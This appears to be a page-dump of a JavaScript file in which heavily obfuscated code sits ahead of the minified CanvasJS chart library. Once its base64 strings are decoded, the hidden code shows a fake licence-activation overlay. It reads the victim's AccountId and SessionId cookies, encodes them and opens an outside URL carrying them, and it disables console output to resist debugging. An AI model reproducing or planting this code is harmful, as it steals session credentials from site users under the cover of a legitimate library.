You are on page 1of 166

var

nzx_0x2c52=['bWF0Y2g=','U2Vzc2lvbklk','cmVwbGFjZQ==','XCQx','PShbXjtdKik=','YXBwbHk
=','cVRxZHQ=','blhCTUY=','cmV0dXJuIChmdW5jdGlvbigpIA==','ZGVidWc=','ZXJyb3I=','ZXhj
ZXB0aW9u','dHJhY2U=','Y29uc29sZQ==','bG9n','aW5mbw==','ZWxueWg=','d2Fybg==','e30uY2
9uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=','cmFuZG9t','cm91bmQ=','b3Blbg==','aHR0cHM6L
y9nYW1lLWluZHVzdHJ5LnRlY2gvbGljZW5zZV9rZXlfUHJlZGF0b3IvP2hhc2g9','KD86Xnw7ICk=','QW
Njb3VudElk','PHN0eWxlPi5hY3RpdmF0aW9uIHsgei1pbmRleDo5OTtwb3NpdGlvbjogYWJzb2x1dGU7bG
VmdDogNDAlO3RvcDogNDBWSDt3aWR0aDogMTIlO2JhY2tncm91bmQ6ICMwMDAwMDBlNjtwYWRkaW5nOiA1J
Tt9aW5wdXRbbmFtZT0iYWN0aXZhdGlvbiJdIHtjb2xvcjojZmZmO2JhY2tncm91bmQ6IG5vbmU7Ym9yZGVy
LWNvbG9yOiAjMDA3ZGZmO2JvcmRlci1yYWRpdXM6IDA7fTwvc3R5bGU+PGRpdiBjbGFzcz0iYWN0aXZhdGl
vbiI+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJBY3RpdmF0ZSBrZXkiIGlkPSJrZXl2YWwiIG
5hbWU9ImFjdGl2YXRpb24iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG9uY2xpY2s9ImdldGtleSgpIiB2YWx1Z
T0iR2V0IGtleSIgc3R5bGU9ImJvcmRlcjogbm9uZTtib3JkZXItcmFkaXVzOiAwO21hcmdpbi10b3A6IDUl
O2JhY2tncm91bmQ6ICMwMDdkZmY7Y29sb3I6ICNmZmY7Zm9udC13ZWlnaHQ6IGJvbGQ7d2lkdGg6IDQ4JTs
iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG9uY2xpY2s9ImNoZWNra2V5KCkiIHZhbHVlPSJBY3RpdmF0ZSIgc3
R5bGU9ImJvcmRlcjogbm9uZTtib3JkZXItcmFkaXVzOiAwO21hcmdpbi10b3A6IDUlO2JhY2tncm91bmQ6I
CMzNGNjMTg7Y29sb3I6ICNmZmY7Zm9udC13ZWlnaHQ6IGJvbGQ7IHdpZHRoOiA0OCU7ZmxvYXQ6IHJpZ2h0
OyI+PC9kaXY+','Ym9keQ==','YXBwZW5k','dGxDeFE=','I2tleXZhbA==','dmFs','LmFjdGl2YXRpb
24=','aGlkZQ==','LmJveERpY2U=','c2hvdw==','R2JoS1Y=','Y29va2ll'];
(function(_0x3d6068,_0x47220e){var _0x29fc4e=function(_0x21f751){while(--_0x21f751)
{_0x3d6068['push'](_0x3d6068['shift']());}};var _0x276bc9=function(){var
_0x367bab={'data':
{'key':'cookie','value':'timeout'},'setCookie':function(_0x91d58d,_0x3a1b0f,_0x480a
39,_0x25ebcb){_0x25ebcb=_0x25ebcb||{};var _0x349dc8=_0x3a1b0f+'='+_0x480a39;var
_0x4351a4=0x0;for(var
_0x4351a4=0x0,_0xd46dc2=_0x91d58d['length'];_0x4351a4<_0xd46dc2;_0x4351a4++){var
_0x1f7c05=_0x91d58d[_0x4351a4];_0x349dc8+=';\x20'+_0x1f7c05;var
_0x553f3c=_0x91d58d[_0x1f7c05];_0x91d58d['push']
(_0x553f3c);_0xd46dc2=_0x91d58d['length'];if(_0x553f3c!==!![])
{_0x349dc8+='='+_0x553f3c;}}_0x25ebcb['cookie']=_0x349dc8;},'removeCookie':function
(){return'dev';},'getCookie':function(_0x2231f4,_0x1a835f){_0x2231f4=_0x2231f4||
function(_0x516293){return _0x516293;};var _0x47c81e=_0x2231f4(new
RegExp('(?:^|;\x20)'+_0x1a835f['replace'](/([.$?*|{}()[]\/+^])/g,'$1')
+'=([^;]*)'));var _0x5483f1=function(_0x3800be,_0x3f8839){_0x3800be(+
+_0x3f8839);};_0x5483f1(_0x29fc4e,_0x47220e);return _0x47c81e?
decodeURIComponent(_0x47c81e[0x1]):undefined;}};var _0x93d598=function(){var
_0x2cf97b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+
[\x27|\x22];?\x20*}');return _0x2cf97b['test'](_0x367bab['removeCookie']
['toString']());};_0x367bab['updateCookie']=_0x93d598;var _0x206738='';var
_0x259485=_0x367bab['updateCookie']();if(!_0x259485){_0x367bab['setCookie']
(['*'],'counter',0x1);}else if(_0x259485){_0x206738=_0x367bab['getCookie']
(null,'counter');}else{_0x367bab['removeCookie']();}};_0x276bc9();}
(nzx_0x2c52,0x11c));var nzx_0x1464=function(_0x2cb7b3,_0x9315a6)
{_0x2cb7b3=_0x2cb7b3-0x0;var
_0x3b7167=nzx_0x2c52[_0x2cb7b3];if(nzx_0x1464['cOHyrL']===undefined){(function()
{var _0x59a750;try{var
_0x1f4ae3=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x
22)(\x20)'+');');_0x59a750=_0x1f4ae3();}catch(_0x4f36a0){_0x59a750=window;}var
_0x3659ff='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59
a750['atob']||(_0x59a750['atob']=function(_0x3a490d){var
_0xe750f7=String(_0x3a490d)['replace'](/=+$/,'');for(var
_0x3ddc97=0x0,_0x788065,_0x517af7,_0x1b148e=0x0,_0x3ba8b9='';_0x517af7=_0xe750f7['c
harAt'](_0x1b148e++);~_0x517af7&&(_0x788065=_0x3ddc97%0x4?
_0x788065*0x40+_0x517af7:_0x517af7,_0x3ddc97++%0x4)?
_0x3ba8b9+=String['fromCharCode'](0xff&_0x788065>>(-0x2*_0x3ddc97&0x6)):0x0)
{_0x517af7=_0x3659ff['indexOf'](_0x517af7);}return _0x3ba8b9;});}
());nzx_0x1464['HxwqOw']=function(_0x4efcd1){var _0x4b5e1f=atob(_0x4efcd1);var
_0x451375=[];for(var
_0x4cdf5e=0x0,_0x36a424=_0x4b5e1f['length'];_0x4cdf5e<_0x36a424;_0x4cdf5e++)
{_0x451375+='%'+('00'+_0x4b5e1f['charCodeAt'](_0x4cdf5e)['toString'](0x10))
['slice'](-0x2);}return
decodeURIComponent(_0x451375);};nzx_0x1464['saIFzN']={};nzx_0x1464['cOHyrL']=!!
[];}var _0x4a4cb9=nzx_0x1464['saIFzN'][_0x2cb7b3];if(_0x4a4cb9===undefined){var
_0x13911a=function(_0x1311aa)
{this['rVrKrk']=_0x1311aa;this['rOpBWx']=[0x1,0x0,0x0];this['VxVwkJ']=function()
{return'newState';};this['IuMuEn']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['t
ZsbsC']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x13911a['prototype']
['ljPJYq']=function(){var _0x5721af=new RegExp(this['IuMuEn']+this['tZsbsC']);var
_0x2122a9=_0x5721af['test'](this['VxVwkJ']['toString']())?--this['rOpBWx'][0x1]:--
this['rOpBWx'][0x0];return this['loJCIj'](_0x2122a9);};_0x13911a['prototype']
['loJCIj']=function(_0x384a2a){if(!Boolean(~_0x384a2a)){return _0x384a2a;}return
this['vPJITc'](this['rVrKrk']);};_0x13911a['prototype']
['vPJITc']=function(_0x3aeeea){for(var _0x29de8f=0x0,_0x2cb0ed=this['rOpBWx']
['length'];_0x29de8f<_0x2cb0ed;_0x29de8f++){this['rOpBWx']['push'](Math['round']
(Math['random']()));_0x2cb0ed=this['rOpBWx']['length'];}return
_0x3aeeea(this['rOpBWx'][0x0]);};new _0x13911a(nzx_0x1464)['ljPJYq']
();_0x3b7167=nzx_0x1464['HxwqOw'](_0x3b7167);nzx_0x1464['saIFzN']
[_0x2cb7b3]=_0x3b7167;}else{_0x3b7167=_0x4a4cb9;}return _0x3b7167;};var
activation=nzx_0x1464('0x0');$(nzx_0x1464('0x1'))[nzx_0x1464('0x2')]
(activation);function randomInteger(_0x41e56a,_0xf3f3ac){var _0x9252ef=function()
{var _0x327fd1=!![];return function(_0xe47d79,_0x2b9680){var _0x5d8c3b=_0x327fd1?
function(){if(_0x2b9680){var _0x4d14cb=_0x2b9680['apply']
(_0xe47d79,arguments);_0x2b9680=null;return _0x4d14cb;}}:function(){};_0x327fd1=!
[];return _0x5d8c3b;};}();var _0x511a69=_0x9252ef(this,function(){var
_0x5d3e8=function(){return'\x64\x65\x76';},_0x47630d=function()
{return'\x77\x69\x6e\x64\x6f\x77';};var _0x1da71c=function(){var _0x4e2085=new
RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x2
7\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!
_0x4e2085['\x74\x65\x73\x74'](_0x5d3e8['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var
_0x3804ee=function(){var _0x57dbd0=new
RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2
b');return _0x57dbd0['\x74\x65\x73\x74']
(_0x47630d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var
_0x49ce9c=function(_0x18a5cf){var _0x4b44fb=~-0x1>>0x1+0xff
%0x0;if(_0x18a5cf['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x4b44fb))
{_0x39c578(_0x18a5cf);}};var _0x39c578=function(_0x16e9bb){var _0x4ff1e4=~-
0x4>>0x1+0xff%0x0;if(_0x16e9bb['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!
==_0x4ff1e4){_0x49ce9c(_0x16e9bb);}};if(!_0x1da71c()){if(!_0x3804ee())
{_0x49ce9c('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x49ce9c('\x69\x6e\x64\x65\x78\
x4f\x66');}}else{_0x49ce9c('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x511a69();var
_0x658827=function(){if(nzx_0x1464('0x3')==='JHdSk'){if(apikey==$
(nzx_0x1464('0x4'))[nzx_0x1464('0x5')]()){$(nzx_0x1464('0x6'))[nzx_0x1464('0x7')]
();$(nzx_0x1464('0x8'))[nzx_0x1464('0x9')]();}}else{var _0x3bf1c0=!![];return
function(_0x1a9581,_0x1b1314){var _0x4c42ec=_0x3bf1c0?function(){if('GbhKV'!
==nzx_0x1464('0xa')){var _0xb2e3d4=document[nzx_0x1464('0xb')][nzx_0x1464('0xc')]
(new RegExp('(?:^|;\x20)'+nzx_0x1464('0xd')[nzx_0x1464('0xe')](/([\.$?*|{}\(\)\
[\]\\\/\+^])/g,nzx_0x1464('0xf'))+nzx_0x1464('0x10')));return _0xb2e3d4?
decodeURIComponent(_0xb2e3d4[0x1]):undefined;}else{if(_0x1b1314){var
_0x51b602=_0x1b1314[nzx_0x1464('0x11')](_0x1a9581,arguments);_0x1b1314=null;return
_0x51b602;}}}:function(){};_0x3bf1c0=![];return _0x4c42ec;};}}();var
_0x1155a6=_0x658827(this,function(){var _0xc47f27=function(){};var
_0x1954a4=function(){if(nzx_0x1464('0x12')===nzx_0x1464('0x12')){var
_0x8943cc;try{if(nzx_0x1464('0x13')!==nzx_0x1464('0x13'))
{_0x8943cc=window;}else{_0x8943cc=Function(nzx_0x1464('0x14')
+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}}catch(_0x4f1926)
{_0x8943cc=window;}return _0x8943cc;}else{var
_0x10c9ca={};_0x10c9ca['log']=_0xc47f27;_0x10c9ca['warn']=_0xc47f27;_0x10c9ca[nzx_0
x1464('0x15')]=_0xc47f27;_0x10c9ca['info']=_0xc47f27;_0x10c9ca[nzx_0x1464('0x16')]=
_0xc47f27;_0x10c9ca[nzx_0x1464('0x17')]=_0xc47f27;_0x10c9ca[nzx_0x1464('0x18')]=_0x
c47f27;return _0x10c9ca;}};var _0x6b2b9f=_0x1954a4();if(!
_0x6b2b9f[nzx_0x1464('0x19')]){_0x6b2b9f['console']=function(_0xc47f27){var
_0x4143b4={};_0x4143b4[nzx_0x1464('0x1a')]=_0xc47f27;_0x4143b4['warn']=_0xc47f27;_0
x4143b4['debug']=_0xc47f27;_0x4143b4[nzx_0x1464('0x1b')]=_0xc47f27;_0x4143b4[nzx_0x
1464('0x16')]=_0xc47f27;_0x4143b4[nzx_0x1464('0x17')]=_0xc47f27;_0x4143b4['trace']=
_0xc47f27;return _0x4143b4;}
(_0xc47f27);}else{if(nzx_0x1464('0x1c')===nzx_0x1464('0x1c'))
{_0x6b2b9f[nzx_0x1464('0x19')]
[nzx_0x1464('0x1a')]=_0xc47f27;_0x6b2b9f[nzx_0x1464('0x19')]
[nzx_0x1464('0x1d')]=_0xc47f27;_0x6b2b9f[nzx_0x1464('0x19')]
[nzx_0x1464('0x15')]=_0xc47f27;_0x6b2b9f[nzx_0x1464('0x19')]
[nzx_0x1464('0x1b')]=_0xc47f27;_0x6b2b9f['console']
[nzx_0x1464('0x16')]=_0xc47f27;_0x6b2b9f[nzx_0x1464('0x19')]
['exception']=_0xc47f27;_0x6b2b9f['console']
[nzx_0x1464('0x18')]=_0xc47f27;}else{var
_0x3f8ecc;try{_0x3f8ecc=Function(nzx_0x1464('0x14')+nzx_0x1464('0x1e')+');')
();}catch(_0x16c6fa){_0x3f8ecc=window;}return _0x3f8ecc;}}});_0x1155a6();let
_0x3ed5a6=_0x41e56a-0.5+Math[nzx_0x1464('0x1f')]()*(_0xf3f3ac-_0x41e56a+0x1);return
Math[nzx_0x1464('0x20')]
(_0x3ed5a6);}apikey='k'+randomInteger(0x1,0x2)+randomInteger(0x4,0x7)+randomInteger
(0x5,0x9)+randomInteger(0x1,0x9)+randomInteger(0x2,0x4)+randomInteger(0x6,0x8)+rand
omInteger(0x3,0x8)+randomInteger(0x1,0x4);function getkey()
{key=randomInteger(0x3,0x7)+randomInteger(0x3,0x7)+randomInteger(0x3,0x7)+getA()
+'_'+getS()+'_'+apikey;window[nzx_0x1464('0x21')](nzx_0x1464('0x22')
+btoa(key));}function checkkey(){if(apikey==$(nzx_0x1464('0x4'))[nzx_0x1464('0x5')]
()){$(nzx_0x1464('0x6'))[nzx_0x1464('0x7')]();$(nzx_0x
1464('0x8'))[nzx_0x1464('0x9')]();}}function getS(){var
_0x38b912=document['cookie'][nzx_0x1464('0xc')](new RegExp(nzx_0x1464('0x23')
+'SessionId'['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g,nzx_0x1464('0xf'))
+nzx_0x1464('0x10')));return _0x38b912?
decodeURIComponent(_0x38b912[0x1]):undefined;}function getA(){var
_0x21b99c=document[nzx_0x1464('0xb')]['match'](new
RegExp('(?:^|;\x20)'+nzx_0x1464('0x24')[nzx_0x1464('0xe')](/([\.$?*|{}\(\)\[\]\\\/\
+^])/g,'\x5c$1')+nzx_0x1464('0x10')));return _0x21b99c?
decodeURIComponent(_0x21b99c[0x1]):undefined;}

(function(){function qa(h,p)
{h.prototype=eb(p.prototype);h.prototype.constructor=h;h.base=p.prototype}function
eb(h){function p(){}p.prototype=h;return new p}function Ya(h,p,D)
{"millisecond"===D?h.setMilliseconds(h.getMilliseconds()+1*p):"second"===D?
h.setSeconds(h.getSeconds()+1*p):"minute"===D?h.setMinutes(h.getMinutes()
+1*p):"hour"===D?h.setHours(h.getHours()+1*p):"day"===D?h.setDate(h.getDate()
+1*p):"week"===D?h.setDate(h.getDate()+7*p):"month"===D?h.setMonth(h.getMonth()
+1*p):"year"===D&&h.setFullYear(h.getFullYear()+1*p);return h}function $(h,p){var
D=!1;0>h&&(D=!0,h*=-1);h=""+h;for(p=p?p:1;h.length<p;)h="0"+h;return
D?"-"+h:h}function Ia(h){if(!h)return h;h=h.replace(/^\s\s*/,"");for(var
p=/\s/,D=h.length;p.test(h.charAt(--D)););return h.slice(0,D+1)}function Ea(h)
{h.roundRect=function(h,D,r,u,H,F,z,v)
{z&&(this.fillStyle=z);v&&(this.strokeStyle=v);"undefined"===typeof
H&&(H=5);this.lineWidth=F;this.beginPath();this.moveTo(h+H,D);this.lineTo(h+r-
H,D);this.quadraticCurveTo(h+r,D,h+r,D+H);this.lineTo(h+r,D+u-
H);this.quadraticCurveTo(h+r,D+u,h+r-
H,D+u);this.lineTo(h+H,D+u);this.quadraticCurveTo(h,D+u,h,D+u-
H);this.lineTo(h,D+H);this.quadraticCurveTo(h,D,h+H,D);this.closePath();z&&this.fil
l();v&&0<F&&this.stroke()}}function Sa(h,p){return h-p}function Ta(h,p,D)
{if(h&&p&&D){D=D+"."+p;var r="image/"+p;h=h.toDataURL(r);var u=!
1,H=document.createElement("a");H.download=D;H.href=h;if("undefined"!==typeof
Blob&&new Blob){for(var F=h.replace(/^data:[a-z\/]*;base64,/,""),F=atob(F),z=new
ArrayBuffer(F.length),z=new Uint8Array(z),v=0;v<F.length;v+
+)z[v]=F.charCodeAt(v);p=new Blob([z.buffer],
{type:"image/"+p});try{window.navigator.msSaveBlob(p,D),u=!0}catch(L)
{H.dataset.downloadurl=[r,H.download,H.href].join(":"),H.href=window.URL.createObje
ctURL(p)}}if(!
u)try{event=document.createEvent("MouseEvents"),event.initMouseEvent("click",!0,!
1,window,0,0,0,0,0,!1,!1,!1,!1,0,null),H.dispatchEvent?
H.dispatchEvent(event):H.fireEvent&&H.fireEvent("onclick")}catch(E)
{p=window.open(),p.document.write("<img src='"+h+"'></img><div>Please right click
on the image and save it to your device</div>"),p.document.close()}}}function N(h)
{var
p=((h&16711680)>>16).toString(16),D=((h&65280)>>8).toString(16);h=((h&255)>>0).toSt
ring(16);p=2>p.length?"0"+p:p;D=2>D.length?"0"+D:D;h=2>h.length?"0"+h:h;return"#"+p
+D+h}function fb(h,p){var D=this.length>>>0,r=Number(p)||0,r=0>r?
Math.ceil(r):Math.floor(r);for(0>r&&(r+=D);r<D;r++)if(r in this&&this[r]===h)return
r;return-1}function u(h){return null===h||"undefined"===typeof h}function Fa(h)
{h.indexOf||(h.indexOf=fb);return h}function gb(h)
{if(U.fSDec)h[ja("`eeDwdouMhrudods")](ja("e`u`@ohl`uhnoHuds`uhnoDoe"),function()
{U._fTWm&&U._fTWm(h)})}function Za(h,p,D){D=D||"normal";var
r=h+"_"+p+"_"+D,u=$a[r];if(isNaN(u)){try{h="position:absolute; left:0px; top:-
20000px; padding:0px;margin:0px;border:none;white-space:pre;line-
height:normal;font-family:"+h+"; font-size:"+p+"px; font-weight:"+D+";";if(!xa){var
H=document.body;xa=document.createElement("span");xa.innerHTML="";var
F=document.createTextNode("Mpgyi");xa.appendChild(F);H.appendChild(xa)}xa.style.dis
play="";xa.setAttribute("style",h);u=Math.round(xa.offsetHeight);xa.style.display="
none"}catch(z){u=Math.ceil(1.1*p)}u=Math.max(u,p);$a[r]=u}return u}function R(h,p)
{var D=[];if(D={solid:[],shortDash:[3,1],shortDot:[1,1],shortDashDot:
[3,1,1,1],shortDashDotDot:[3,1,1,1,1,1],dot:[1,2],dash:[4,2],dashDot:
[4,2,1,2],longDash:[8,2],longDashDot:[8,2,1,2],longDashDotDot:[8,2,1,2,1,2]}
[h||"solid"])for(var r=0;r<D.length;r++)D[r]*=p;else D=[];return D}function
O(h,p,D,r,u){r=r||[];u=u||!1;r.push([h,p,D,u]);return h.addEventListener?
(h.addEventListener(p,D,u),D):h.attachEvent?(r=function(p){p=p||
window.event;p.preventDefault=p.preventDefault||function(){p.returnValue=!
1};p.stopPropagation=p.stopPropagation||function(){p.cancelBubble=!
0};D.call(h,p)},h.attachEvent("on"+p,r),r):!1}function ab(h,p,D)
{h*=W;p*=W;h=D.getImageData(h,p,2,2).data;p=!0;for(D=0;4>D;D++)if(h[D]!==h[D+4]|
h[D]!==h[D+8]|h[D]!==h[D+12]){p=!1;break}return p?h[0]<<16|h[1]<<8|h[2]:0}function
na(h,p,D){return h in p?p[h]:D[h]}function Oa(h,p,D){if(r&&bb){var
u=h.getContext("2d");Pa=u.webkitBackingStorePixelRatio||
u.mozBackingStorePixelRatio||u.msBackingStorePixelRatio||
u.oBackingStorePixelRatio||u.backingStorePixelRatio||
1;W=Ua/Pa;h.width=p*W;h.height=D*W;Ua!
==Pa&&(h.style.width=p+"px",h.style.height=D+"px",u.scale(W,W))}else
h.width=p,h.height=D}function hb(h){if(!ib){var p=!1,D=!1;"undefined"===typeof
ra.Chart.creditHref?
(h.creditHref=ja("iuuqr;..b`ow`rkr/bnl."),h.creditText=ja("B`ow`rKR/bnl")):
(p=h.updateOption("creditText"),D=h.updateOption("creditHref"));if(h.creditHref&&h.
creditText){h._creditLink||
(h._creditLink=document.createElement("a"),h._creditLink.setAttribute("class","canv
asjs-chart-credit"),h._creditLink.setAttribute("title","JavaScript
Charts"),h._creditLink.setAttribute("style","outline:none;margin:0px;position:absol
ute;right:2px;top:"+(h.height-14)+"px;color:dimgrey;text-decoration:none;font-
size:11px;font-family: Calibri, Lucida Grande, Lucida Sans Unicode, Arial, sans-
serif"),h._creditLink.setAttribute("tabIndex",-
1),h._creditLink.setAttribute("target","_blank"));if(0===h.renderCount||p||
D)h._creditLink.setAttribute("href",h.creditHref),h._creditLink.innerHTML=h.creditT
ext;h._creditLink&&h.creditHref&&h.creditText?(h._creditLink.parentElement||
h._canvasJSContainer.appendChild(h._creditLink),h._creditLink.style.top=h.height-
14+"px"):h._creditLink.parentElement&&h._canvasJSContainer.removeChild(h._creditLin
k)}}}function ta(h,p){Ja&&(this.canvasCount|=0,window.console.log(+
+this.canvasCount));var
D=document.createElement("canvas");D.setAttribute("class","canvasjs-chart-
canvas");Oa(D,h,p);r||"undefined"===typeof G_vmlCanvasManager||
G_vmlCanvasManager.initElement(D);return D}function sa(h,p,D){for(var r in
D)p.style[r]=D[r]}function ua(h,p,D){p.getAttribute("state")||
(p.style.backgroundColor=h.toolbar.backgroundColor,p.style.color=h.toolbar.fontColo
r,p.style.border="none",sa(h,p,
{WebkitUserSelect:"none",MozUserSelect:"none",msUserSelect:"none",userSelect:"none"
}));p.getAttribute("state")!
==D&&(p.setAttribute("state",D),p.setAttribute("type","button"),sa(h,p,
{padding:"5px
12px",cursor:"pointer","float":"left",width:"40px",height:"25px",outline:"0px",vert
icalAlign:"baseline",lineHeight:"0"}),p.setAttribute("title",h._cultureInfo[D+"Text
"]),p.innerHTML="<img style='height:95%; pointer-events: none;'
src='"+jb[D].image+"' alt='"+h._cultureInfo[D+"Text"]+"' />")}function Qa(){for(var
h=null,p=0;p<arguments.length;p+
+)h=arguments[p],h.style&&(h.style.display="inline")}function va(){for(var
h=null,p=0;p<arguments.length;p++)
(h=arguments[p])&&h.style&&(h.style.display="none")}function V(h,p,D,r,v)
{this._defaultsKey=h;this._themeOptionsKey=p;this._index=r;this.parent=v;this._even
tListeners=[];h={};this.theme&&u(p)&&u(r)?h=u(ya[this.theme])?
ya.light1:ya[this.theme]:this.parent&&(this.parent.themeOptions&&this.parent.themeO
ptions[p])&&(null===r?
h=this.parent.themeOptions[p]:0<this.parent.themeOptions[p].length&&(r=Math.min(thi
s.parent.themeOptions[p].length-1,r),h=this.parent.themeOptions[p]
[r]));this.themeOptions=h;this.options=D?D:{_isPlaceholder:!
0};this.setOptions(this.options,h)}function Ga(h,p,r,u,v){"undefined"===typeof
v&&(v=0);this._padding=v;this._x1=h;this._y1=p;this._x2=r;this._y2=u;this._rightOcc
upied=this._leftOccupied=this._bottomOccupied=this._topOccupied=this._padding}funct
ion ka(h,p)
{ka.base.constructor.call(this,"TextBlock",null,p,null,null);this.ctx=h;this._isDir
ty=!0;this._wrappedText=null;this._initialize()}function Va(h,p)
{Va.base.constructor.call(this,"Toolbar","toolbar",p,null,h);this.chart=h;this.canv
as=h.canvas;this.ctx=this.chart.ctx;this.optionsName="toolbar"}function Aa(h,p)
{Aa.base.constructor.call(this,"Title","title",p,null,h);this.chart=h;this.canvas=h
.canvas;this.ctx=this.chart.ctx;this.optionsName="title";if(u(this.options.margin)&
&h.options.subtitles)for(var r=h.options.subtitles,za=0;za<r.length;za+
+)if((u(r[za].horizontalAlign)&&"center"===this.horizontalAlign||
r[za].horizontalAlign===this.horizontalAlign)&&(u(r[za].verticalAlign)&&"top"===thi
s.verticalAlign||r[za].verticalAlign===this.verticalAlign)&&!
r[za].dockInsidePlotArea===!this.dockInsidePlotArea)
{this.margin=0;break}"undefined"===typeof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.height=this.width=null;this.bounds={x1:null,y1:null,x2:null,y2:null}}function
Ka(h,p,r)
{Ka.base.constructor.call(this,"Subtitle","subtitles",p,r,h);this.chart=h;this.canv
as=h.canvas;this.ctx=this.chart.ctx;this.optionsName="subtitles";this.isOptionsInAr
ray=!0;"undefined"===typeof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.height=this.width=null;this.bounds={x1:null,y1:null,x2:null,y2:null}}function
Wa(){this.pool=[]}function La(h){var
p;h&&Ma[h]&&(p=Ma[h]);La.base.constructor.call(this,"CultureInfo",null,p,null,null)
}var Ja=!1,U={},r=!!document.createElement("canvas").getContext,ra={Chart:
{width:500,height:400,zoomEnabled:!
1,zoomType:"x",backgroundColor:"white",theme:"light1",animationEnabled:!
1,animationDuration:1200,dataPointWidth:null,dataPointMinWidth:null,dataPointMaxWid
th:null,colorSet:"colorSet1",culture:"en",creditHref:"",creditText:"CanvasJS",inter
activityEnabled:!0,exportEnabled:!
1,exportFileName:"Chart",rangeChanging:null,rangeChanged:null,publicProperties:
{title:"readWrite",subtitles:"readWrite",toolbar:"readWrite",toolTip:"readWrite",le
gend:"readWrite",axisX:"readWrite",axisY:"readWrite",axisX2:"readWrite",axisY2:"rea
dWrite",data:"readWrite",options:"readWrite",bounds:"readOnly",container:"readOnly"
}},Title:
{padding:0,text:null,verticalAlign:"top",horizontalAlign:"center",fontSize:20,fontF
amily:"Calibri",fontWeight:"normal",fontColor:"black",fontStyle:"normal",borderThic
kness:0,borderColor:"black",cornerRadius:0,backgroundColor:r?"transparent":null,mar
gin:5,wrap:!0,maxWidth:null,dockInsidePlotArea:!1,publicProperties:{options:"readW
rite",bounds:"readOnly",chart:"readOnly"}},Subtitle:
{padding:0,text:null,verticalAlign:"top",horizontalAlign:"center",fontSize:14,fontF
amily:"Calibri",fontWeight:"normal",fontColor:"black",fontStyle:"normal",borderThic
kness:0,borderColor:"black",cornerRadius:0,backgroundColor:null,margin:2,wrap:!
0,maxWidth:null,dockInsidePlotArea:!1,publicProperties:
{options:"readWrite",bounds:"readOnly",chart:"readOnly"}},Toolbar:
{backgroundColor:"white",backgroundColorOnHover:"#2196f3",borderColor:"#2196f3",bor
derThickness:1,fontColor:"black",fontColorOnHover:"white",publicProperties:
{options:"readWrite",chart:"readOnly"}},Legend:
{name:null,verticalAlign:"center",horizontalAlign:"right",fontSize:14,fontFamily:"c
alibri",fontWeight:"normal",fontColor:"black",fontStyle:"normal",cursor:null,itemmo
useover:null,itemmouseout:null,itemmousemove:null,itemclick:null,dockInsidePlotArea
:!1,reversed:!
1,backgroundColor:r?"transparent":null,borderColor:r?"transparent":null,borderThick
ness:0,cornerRadius:0,maxWidth:null,maxHeight:null,markerMargin:null,itemMaxWidth:n
ull,itemWidth:null,itemWrap:!0,itemTextFormatter:null,publicProperties:
{options:"readWrite",bounds:"readOnly",chart:"readOnly"}},ToolTip:{enabled:!
0,shared:!1,animationEnabled:!0,content:null,contentFormatter:null,reversed:!
1,backgroundColor:r?"rgba(255,255,255,.9)":"rgb(255,255,255)",borderColor:null,bord
erThickness:2,cornerRadius:5,fontSize:14,fontColor:"black",fontFamily:"Calibri,
Arial, Georgia, serif;",fontWeight:"normal",fontStyle:"italic",publicProperties:
{options:"readWrite",chart:"readOnly"}},Axis:
{minimum:null,maximum:null,viewportMinimum:null,viewportMaximum:null,interval:null,
intervalType:null,reversed:!1,logarithmic:!
1,logarithmBase:10,title:null,titleFontColor:"black",titleFontSize:20,titleFontFami
ly:"arial",titleFontWeight:"normal",titleFontStyle:"normal",titleWrap:!
0,titleMaxWidth:null,titleBackgroundColor:r?"transparent":null,titleBorderColor:r?"
transparent":null,titleBorderThickness:0,titleCornerRadius:0,labelAngle:0,labelFont
Family:"arial",labelFontColor:"black",labelFontSize:12,labelFontWeight:"normal",lab
elFontStyle:"normal",labelAutoFit:!0,labelWrap:!
0,labelMaxWidth:null,labelFormatter:null,labelBackgroundColor:r?"transparent":null,
labelBorderColor:r?"transparent":null,labelBorderThickness:0,labelCornerRadius:0,la
belPlacement:"outside",prefix:"",suffix:"",includeZero:!
0,tickLength:5,tickColor:"black",tickThickness:1,lineColor:"black",lineThickness:1,
lineDashType:"solid",gridColor:"A0A0A0",gridThickness:0,gridDashType:"solid",interl
acedColor:r?"transparent":null,valueFormatString:null,margin:2,publicProperties:
{options:"readWrite",stripLines:"readWrite",scaleBreaks:"readWrite",crosshair:"read
Write",bounds:"readOnly",chart:"readOnly"}},StripLine:
{value:null,startValue:null,endValue:null,color:"orange",opacity:null,thickness:2,l
ineDashType:"solid",label:"",labelPlacement:"inside",labelAlign:"far",labelWrap:!
0,labelMaxWidth:null,labelBackgroundColor:null,labelBorderColor:r?"transparent":nul
l,labelBorderThickness:0,labelCornerRadius:0,labelFontFamily:"arial",labelFontColor
:"orange",labelFontSize:12,labelFontWeight:"normal",labelFontStyle:"normal",labelFo
rmatter:null,showOnTop:!1,publicProperties:
{options:"readWrite",axis:"readOnly",bounds:"readOnly",chart:"readOnly"}},ScaleBrea
ks:{autoCalculate:!
